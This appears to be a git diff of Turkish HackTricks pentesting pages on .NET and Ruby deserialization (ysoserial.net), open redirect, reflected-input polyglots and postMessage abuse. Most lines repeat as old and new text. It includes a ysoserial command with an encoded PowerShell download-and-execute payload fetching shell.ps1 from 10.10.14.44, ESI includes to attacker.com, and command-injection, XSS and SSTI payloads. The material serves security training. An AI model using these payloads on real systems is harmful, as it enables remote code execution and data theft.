**ysoserial.net'in istismarını nasıl oluşturduğunu öğrenmek** isterseniz, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ın açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
**ysoserial.net'in istismarını nasıl oluşturduğunu öğrenmek istiyorsanız**, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ın açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
**ysoserial.net**'in ana seçenekleri: **`--gadget`**, **`--formatter`**, **`--output`** ve **`--plugin`.**
- **`--gadget`**, istismar edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komutları çalıştırmak için istismar edilecek sınıf/fonksiyonu belirtir).
- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtmek için kullanılır (yüklemenin deserialization'ı için hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir).
- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, yüklemeyi **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham yüklemeyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluk sorunları** yaşayabilirsiniz (HTB JSON kutusunda yükleme hem UTF-16LE hem de ASCII'de çalıştı ama bu her zaman çalışacağı anlamına gelmez)._
- **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak** üzere eklentileri destekler, örneğin ViewState için.
- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtmek için kullanılır (payload'ı deserialization yapmak için hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir).
- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, payload'ı **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama) bu nedenle ham veriyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluk sorunları** yaşayabilirsiniz (HTB JSON kutusunda payload hem UTF-16LE hem de ASCII'de çalıştı ama bu her zaman çalışacağı anlamına gelmez)._
- **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak üzere eklentileri destekler**; örneğin ViewState.
#### Daha fazla ysoserial.net parametreleri
- `--minify`, **daha küçük bir yük** sağlayacaktır (mümkünse).
- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatörle kullanılabilecek tüm gadget'ları gösterecektir (bu durumda `Json.Net`).
- `--minify`, **daha küçük bir payload** sağlayacaktır (mümkünse).
- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatter ile kullanılabilecek tüm gadget'ları gösterecektir (`Json.Net` bu durumda).
- `--sf xml`, bir gadget'ı (`-g`) belirtebilir ve ysoserial.net "xml" içeren formatörleri arayacaktır (büyük/küçük harf duyarsız).
**ysoserial örnekleri** ile istismar oluşturma:
@ -679,7 +679,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** ayrıca her bir exploitin nasıl çalıştığını daha iyi anlamaya yardımcı olan **çok ilginç bir parametreye** sahiptir: `--test`\
Bu parametreyi belirtirseniz **ysoserial.net** **exploit'i yerel olarak deneyecektir,** böylece payload'unuzun doğru çalışıp çalışmadığını test edebilirsiniz.\
Bu parametreyi belirtirseniz **ysoserial.net** **exploit'i yerel olarak deneyecektir,** böylece yüklemenizin doğru çalışıp çalışmadığını test edebilirsiniz.\
Bu parametre faydalıdır çünkü kodu gözden geçirirseniz aşağıdaki gibi kod parçaları bulacaksınız ( [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
@ -705,26 +705,26 @@ TypeNameHandling = TypeNameHandling.Auto
return obj;
}
```
**Önceki kod, oluşturulan istismara karşı savunmasızdır.** Bu nedenle, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır.\
Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** deserialization istismarına karşı savunmasız olduğunu anlamamıza olanak tanır **ysoserial.net** tarafından oluşturulabilir.
In the **önceki kod, oluşturulan istismara karşı savunmasızdır**. Bu nedenle, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır.\
Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** **ysoserial.net** tarafından oluşturulan deserialization istismarına karşı savunmasız olduğunu anlamamıza olanak tanır.
### ViewState
[**.Net'in \_\_ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a**](exploiting-__viewstate-parameter.md) bakın **rastgele kod çalıştırmak için.** Eğer **kurban makinesinin** kullandığı sırları **zaten biliyorsanız**, [**kod çalıştırmayı öğrenmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md)**.**
[**.Net'in \_\_ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a**](exploiting-__viewstate-parameter.md) bakın **rastgele kod çalıştırmak için.** Eğer **kurban makinesinde kullanılan sırları zaten biliyorsanız**, [**kod çalıştırmayı öğrenmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Önleme
.Net'te deserialization ile ilişkili riskleri azaltmak için:
- **Veri akışlarının nesne türlerini tanımlamasına izin vermekten kaçının.** Mümkünse `DataContractSerializer` veya `XmlSerializer` kullanın.
- **`JSON.Net` için `TypeNameHandling`'i `None` olarak ayarlayın:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **`JavaScriptSerializer`'ı `JavaScriptTypeResolver` ile kullanmaktan kaçının.**
- **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilgili içsel riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir.
- **`JSON.Net` için `TypeNameHandling` değerini `None` olarak ayarlayın:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **`JavaScriptSerializer` ile `JavaScriptTypeResolver` kullanmaktan kaçının.**
- **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilişkili riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir.
- **Riskli özelliklere sahip türlerle dikkatli olun**, `Value` özelliği ile `System.ComponentModel.DataAnnotations.ValidationException` gibi, istismar edilebilir.
- **Tür örneklemesini güvenli bir şekilde kontrol edin** ki saldırganlar deserialization sürecini etkilemesin, bu da `DataContractSerializer` veya `XmlSerializer`'ı savunmasız hale getirebilir.
- **Tür örneklemesini güvenli bir şekilde kontrol edin**; bu, saldırganların deserialization sürecini etkilemesini önler ve bu durum `DataContractSerializer` veya `XmlSerializer`'ı bile savunmasız hale getirebilir.
- **`BinaryFormatter` ve `JSON.Net` için özel bir `SerializationBinder` kullanarak beyaz liste kontrolleri uygulayın.**
- **.Net içinde bilinen güvensiz deserialization aletleri hakkında bilgi sahibi olun** ve deserializer'ların bu türleri örneklemediğinden emin olun.
- **Potansiyel olarak riskli kodu** internet erişimi olan koddan izole edin, böylece bilinen aletlerin, örneğin WPF uygulamalarındaki `System.Windows.Data.ObjectDataProvider`, güvensiz veri kaynaklarına maruz kalmasını önleyin.
- **Potansiyel olarak riskli kodu** internet erişimi olan koddan izole edin, böylece `System.Windows.Data.ObjectDataProvider` gibi bilinen aletleri güvensiz veri kaynaklarına maruz bırakmaktan kaçının.
### **Referanslar**
@ -735,9 +735,9 @@ Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** deserializati
## **Ruby**
Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir bayt akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir bayt akışını tekrar bir nesneye dönüştürmek için kullanılır, bu işleme ise deserialization denir.
Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir bayt akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir bayt akışını tekrar bir nesneye dönüştürmek için kullanılır; bu işleme ise deserialization denir.
Serileştirilmiş nesneleri güvence altına almak için, **Ruby HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır:
Serileştirilmiş nesneleri güvence altına almak için **Ruby, HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
@ -815,18 +815,18 @@ require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
Ruby On Rails'i istismar etmek için diğer RCE zinciri: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
Diğer RCE zinciri Ruby On Rails'i istismar etmek için: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() metodu
[**bu güvenlik raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, eğer bazı kullanıcıdan gelen temizlenmemiş girdi bir ruby nesnesinin `.send()` metoduna ulaşırsa, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir.
[**bu güvenlik ığı raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, eğer bazı kullanıcıdan gelen temizlenmemiş girdi bir ruby nesnesinin `.send()` metoduna ulaşırsa, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir.
Örneğin, eval çağırmak ve ardından ruby kodunu ikinci parametre olarak vermek, rastgele kodun çalıştırılmasına olanak tanır:
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
Ayrıca, **`.send()`** yönteminin yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne yöntemini çağırmak mümkündür.\
Bunun için, bu gereksinimleri karşılayan **ilginç yöntemleri bulmak üzere nesnenin tüm yöntemlerini saymak** mümkündür.
Ayrıca, **`.send()`** metodunun yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne metodunu çağırmak mümkündür.\
Bunun için, bu gereksinimleri karşılayan **ilginç metodları bulmak üzere nesnenin tüm metodlarını listelemek** mümkündür.
```ruby
<Object>.send('<user_input>')
@ -854,7 +854,7 @@ Bir Ruby sınıfını nasıl [kirletebileceğinizi ve bunu burada nasıl kötüy
### Ruby _json kirlenmesi
Bir gövdeye hashlenemeyen bazı değerler, örneğin bir dizi gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adlı bir değer de ayarlaması mümkündür. Ardından, örneğin arka uç bir parametrenin doğruluğunu kontrol ederse ancak `_json` parametresini bir eylem gerçekleştirmek için de kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir.
Bir gövdeye, bir dizi gibi hashlenemeyen bazı değerler gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adlı bir değer de ayarlaması mümkündür. Örneğin, arka uç bir parametrenin doğruluğunu kontrol ederse ancak ardından `_json` parametresini bir eylem gerçekleştirmek için kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir.
Daha fazla bilgi için [Ruby _json kirlenmesi sayfasını](ruby-_json-pollution.md) kontrol edin.
@ -862,9 +862,9 @@ Daha fazla bilgi için [Ruby _json kirlenmesi sayfasını](ruby-_json-pollution.
Bu teknik [**bu blog yazısından**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) alınmıştır.
RCE elde etmek için güvenli olmayan bir deserialization sırasında kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek başka Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden her zaman serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak işlev):
RCE elde etmek için güvenli olmayan bir deserialization sırasında kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek başka Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden her zaman serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Kütüphane</strong></td><td><strong>Girdi verisi</strong></td><td><strong>Sınıf içindeki başlatma yöntemi</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create ile ilgili notlara bakın](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Kütüphane</strong></td><td><strong>Girdi verisi</strong></td><td><strong>Sınıf içindeki başlatma yöntemi</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create ile ilgili notlara bakın](#table-vulnerable-sinks))</td></tr></tbody></table>
Temel örnek:
```ruby
@ -888,7 +888,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağrısı yapan bir gadget sınıfı bulmak mümkün oldu. Bu, spec'i çağıracak ve fetch_path'i çağıracak şekildeydi; bu da rastgele bir URL almasını sağladı ve bu tür sanitasyonsuz deserialization zafiyetlerinin harika bir dedektörünü sağladı.
Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağrısı yapan bir gadget sınıfı bulmak mümkün oldu. Bu, spec'i çağıracak ve fetch_path'i çağıracak şekildeydi; bu da rastgele bir URL almasını sağladı ve bu tür sanitizasyon yapılmamış deserialization zafiyetlerinin harika bir dedektörü oldu.
```json
{
"^o": "URI::HTTP",
@ -900,7 +900,7 @@ Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağ
"password": "anypw"
}
```
Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu, bunun başka bir gadget'ı kötüye kullanmak için bir gereklilik olduğu ve bunun bir RCE'ye dönüştürülmesi gerektiği bulundu:
Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu bulundu; bu, bunu tam bir RCE'ye dönüştürmek için başka bir gadget'ı kötüye kullanma gereksinimidir, şöyle bir şeyle:
```json
{
"^o": "Gem::Resolver::SpecSpecification",

View File

@ -1,11 +1,11 @@
# ık Yönlendirme
# Open Redirect
{{#include ../banners/hacktricks-training.md}}
## ık yönlendirme
## Open redirect
### Yerel sunucuya veya keyfi alan adlarına yönlendirme
### localhost veya keyfi alanlara yönlendirme
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
";alert(0);//
```
## Open Redirect svg dosyaları yükleme
```markup
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
@ -171,5 +171,4 @@ exit;
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,16 +1,16 @@
# Yansıma Teknikleri - PoCs ve Polygloths CheatSheet
# Reflecting Techniques - PoCs and Polygloths CheatSheet
{{#include ../../banners/hacktricks-training.md}}
Bu PoC'lerin ve Polyglotların amacı, testere **girdiğinin yanıt içinde bir şekilde yansıtılabileceği** durumlarda istismar edebileceği zafiyetlerin hızlı bir **özetini** sunmaktır.
Bu PoC'lerin ve Polyglotların amacı, testere **girdiğinin yanıt içinde bir şekilde yansıtılabileceği** durumlarda, potansiyel olarak istismar edebileceği güvenlik açıklarının hızlı bir **özeti** sunmaktır.
> [!WARNING]
> Bu **cheatsheet, her zafiyet için kapsamlı bir test listesi önermemektedir**, sadece bazı temel testler sunmaktadır. Daha kapsamlı testler arıyorsanız, önerilen her zafiyete erişin.
> Bu **cheatsheet, her güvenlik açığı için kapsamlı bir test listesi önermemektedir**, sadece bazı temel testler sunmaktadır. Daha kapsamlı testler arıyorsanız, önerilen her güvenlik açığına erişin.
> [!CAUTION]
> **XXE gibi İçerik Türüne bağlı enjeksiyonlar bulamayacaksınız**, çünkü genellikle xml verisi gönderen bir istek bulursanız bunları kendiniz deneyeceksiniz. **Veritabanı enjeksiyonları** da burada bulamayacaksınız, çünkü bazı içerikler yansıtılsa bile bu, arka uç DB teknolojisine ve yapısına büyük ölçüde bağlıdır.
> **XXE gibi İçerik Türüne bağlı enjeksiyonlar bulamayacaksınız**, çünkü genellikle xml verisi gönderen bir istek bulursanız bunları kendiniz denersiniz. Ayrıca burada **veritabanı enjeksiyonları** da bulamayacaksınız, çünkü bazı içerikler yansıtılsa bile bu, büyük ölçüde arka uç veritabanı teknolojisine ve yapısına bağlıdır.
## Polyglotlar listesi
## Polygloths list
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -91,7 +91,7 @@ $(ls)
## Dangling Markup
### Temel Testler
```markup
```html
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [Dosya Dahil Etme/Yol Traversali](../file-inclusion/index.html)
@ -127,17 +127,17 @@ javascript:alert(1)
([a-zA-Z]+)*$
((a+)+)+$
```
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
## [Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme](../server-side-inclusion-edge-side-inclusion-injection.md)
### Temel Testler
```markup
```html
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### Polyglotlar
```markup
```html
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
@ -147,7 +147,7 @@ Open Redirect için kullanılan aynı testler burada da kullanılabilir.
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
### Temel Testler
```markup
```html
${{<%[%'"}}%\
{{7*7}}
${7*7}
@ -162,24 +162,24 @@ ${{7*7}}
## [XSLT Sunucu Tarafı Enjeksiyonu](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Temel Testler
```markup
```html
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### Polyglotlar
```markup
```html
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
### Temel Testler
```markup
```html
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Polyglotlar
```markup
```html
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

View File

@ -34,13 +34,13 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Not edin ki **targetOrigin** bir '\*' veya _https://company.com_ gibi bir URL olabilir.\
**İkinci senaryoda**, **mesaj yalnızca o domaine gönderilebilir** (pencere nesnesinin kökeni farklı olsa bile).\
Eğer **wildcard** kullanılıyorsa, **mesajlar herhangi bir domaine gönderilebilir** ve Pencere nesnesinin kökenine gönderilecektir.
Eğer **joker karakter** kullanılıyorsa, **mesajlar herhangi bir domaine gönderilebilir** ve Pencere nesnesinin kökenine gönderilecektir.
### iframe'leri hedef alma & **targetOrigin**'de wildcard
### iframe saldırısı & **targetOrigin**'de joker karakter
[**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframed** (hiçbir `X-Frame-Header` koruması yok) olabilen bir sayfa bulursanız ve bu sayfa **wildcard** (\*) kullanarak **duyarlı** mesaj gönderiyorsa, **iframe**'in **origin**'ini **değiştirebilir** ve **duyarlı** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\
Eğer sayfa iframed olabiliyorsa ancak **targetOrigin** **bir URL'ye ayarlandıysa ve wildcard'a değilse**, bu **numara çalışmayacaktır**.
```markup
[**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframed** (hiçbir `X-Frame-Header` koruması yok) olabilen bir sayfa bulursanız ve bu sayfa **joker karakter** (\*) kullanarak **duyarlı** mesaj gönderiyorsa, **iframe**'in **kökenini** **değiştirebilir** ve **duyarlı** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\
Sayfanın iframed olabileceğini ancak **targetOrigin**'in **bir URL'ye ve joker karaktere ayarlanmadığını** not edin, bu **numara çalışmayacaktır**.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
@ -69,14 +69,14 @@ if (event.origin !== "http://example.org:8080") return
false
)
```
Not edin ki bu durumda kodun yaptığı **ilk şey** **kaynağı kontrol etmek**. Bu, alınan bilgilerle **herhangi bir hassas şey** yapılacaksa (örneğin bir şifre değiştirmek gibi) son derece **önemlidir**. **Eğer kaynağı kontrol etmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesine** ve kurbanların şifrelerini değiştirmesine neden olabilir (bu örnekte).
Not edin ki bu durumda kodun yaptığı **ilk şey** **kaynağı kontrol etmek**. Bu, alınan bilgilerle **herhangi bir hassas işlem** yapılacaksa (örneğin bir şifre değiştirme) son derece **önemlidir**. **Eğer kaynak kontrol edilmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir** ve kurbanların şifrelerini değiştirebilir (bu örnekte).
### Sayım
Mevcut sayfadaki **olay dinleyicilerini bulmak** için şunları yapabilirsiniz:
- **JS kodunda** `window.addEventListener` ve `$(window).on` (_JQuery versiyonu_) için **arama yapın**
- Geliştirici araçları konsolunda **şu komutu çalıştırın**: `getEventListeners(window)`
- Geliştirici araçları konsolunda **şunu çalıştırın**: `getEventListeners(window)`
![](<../../images/image (618) (1).png>)
@ -102,7 +102,7 @@ Mevcut sayfadaki **olay dinleyicilerini bulmak** için şunları yapabilirsiniz:
```
- `search()` ile benzer olan **`match()`** fonksiyonu da regex işler. Eğer regex yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir.
- **`escapeHtml`** fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliğinin `hasOwnProperty`'yi tanımayacak şekilde manipüle edilebiliyorsa, `escapeHtml` beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir:
- **`escapeHtml`** fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliği `hasOwnProperty`'yi tanımayacak şekilde manipüle edilebiliyorsa, `escapeHtml` beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir:
- Beklenen Hata:
@ -120,17 +120,17 @@ result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
Bu zayıflık bağlamında, `File` nesnesi, yalnızca okunabilir `name` özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında `escapeHtml` fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.
Bu zayıflık bağlamında, `File` nesnesi, salt okunur `name` özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında `escapeHtml` fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.
- JavaScript'teki `document.domain` özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir ve bu, aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulamasına olanak tanır.
- JavaScript'teki `document.domain` özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir ve bu, aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulanmasına olanak tanır.
### e.origin == window.origin atlaması
Bir **sandboxed iframe** içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox özellikleri** ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgili olarak özellikle önemlidir.
Bir web sayfasını %%%%%% kullanarak **sandboxed iframe** içinde gömülü hale getirirken, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox özellikleri** ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgili olarak özellikle önemlidir.
**`allow-popups`** özelliğini sandbox niteliğinde belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağıyla aynı hale gelir.
**`allow-popups`** sandbox niteliğinde belirtilerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağıyla aynı hale gelir.
Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye bir mesaj gönderildiğinde **`postMessage`** kullanılarak, hem gönderim hem de alım uçlarının kaynakları `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru değerlendirilmesine yol açar (`null == null`), çünkü hem iframe hem de açılır pencere `null` değerine sahip aynı kaynak değerini paylaşır.
